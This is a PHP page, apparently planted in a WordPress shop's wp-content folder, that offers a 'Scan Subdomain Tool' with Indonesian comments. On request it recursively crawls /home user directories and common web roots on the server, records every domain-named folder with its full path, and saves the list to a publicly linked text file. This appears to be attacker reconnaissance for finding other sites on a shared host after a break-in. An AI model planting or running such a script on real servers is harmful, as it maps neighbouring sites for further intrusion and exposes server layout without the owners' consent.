File: /var/www/html/onlineshop/wp-content/subdofinder.php
<?php
// Nama file simpan hasil
define('OUTPUT_FILE', 'subdomains.txt');
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['start_scan'])) {
$scan_root_dirs = [
'/www/wwwroot/',
'/var/www/',
'/www/',
];
function scan_home_users() {
$home = '/home/';
$result = [];
if (!is_dir($home) || !is_readable($home)) {
return $result;
}
$users = scandir($home);
foreach ($users as $user) {
if ($user === '.' || $user === '..') continue;
$user_path = $home . $user;
if (is_dir($user_path) && is_readable($user_path)) {
scan_recursive_domains($user_path, $result);
$domains_path = $user_path . '/domains/';
if (is_dir($domains_path) && is_readable($domains_path)) {
scan_recursive_domains($domains_path, $result);
}
}
}
return $result;
}
function scan_recursive_domains($dir, &$result = []) {
if (!is_dir($dir) || !is_readable($dir)) return;
$items = scandir($dir);
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$path = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $item;
if (is_dir($path) && is_readable($path)) {
// Cek apakah namanya domain valid (simple)
if (preg_match('/^([a-z0-9\-]+\.)+[a-z]{2,}$/i', $item)) {
$result[$item] = realpath($path);
}
scan_recursive_domains($path, $result);
}
}
}
// Mulai scan
$subdomains = [];
$home_domains = scan_home_users();
$subdomains = array_merge($subdomains, $home_domains);
foreach ($scan_root_dirs as $dir) {
if (!is_dir($dir) || !is_readable($dir)) continue;
scan_recursive_domains($dir, $subdomains);
}
// Simpan ke file
file_put_contents(OUTPUT_FILE, ''); // Kosongkan dulu
foreach ($subdomains as $domain => $path) {
file_put_contents(OUTPUT_FILE, "$domain|$path\n", FILE_APPEND);
}
$total = count($subdomains);
}
?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8" />
<title>Scan Subdomain Tool</title>
<style>
body {
font-family: Arial, sans-serif;
background: url('https://www.msbte.in.net/wp-content/themes/pridmag/foto.jpg') no-repeat center center fixed;
background-size: cover;
color: #fff;
text-align: center;
padding: 50px;
}
.container {
background: rgba(0,0,0,0.6);
padding: 20px;
border-radius: 10px;
display: inline-block;
min-width: 300px;
}
button {
padding: 10px 20px;
font-size: 18px;
cursor: pointer;
border: none;
background-color: #28a745;
color: white;
border-radius: 5px;
}
button:hover {
background-color: #218838;
}
.result {
margin-top: 20px;
font-size: 18px;
}
a {
color: #0dcaf0;
text-decoration: none;
}
</style>
</head>
<body>
<div class="container">
<h1>Scan Subdomain Tool</h1>
<form method="post">
<button name="start_scan" type="submit">Start Scan</button>
</form>
<?php if (isset($total)): ?>
<div class="result">
<p>Scan selesai!</p>
<p>Total domain ditemukan: <strong><?= $total ?></strong></p>
<p>Hasil tersimpan di file: <a href="<?= OUTPUT_FILE ?>" target="_blank"><?= OUTPUT_FILE ?></a></p>
</div>
<?php endif; ?>
</div>
</body>
</html>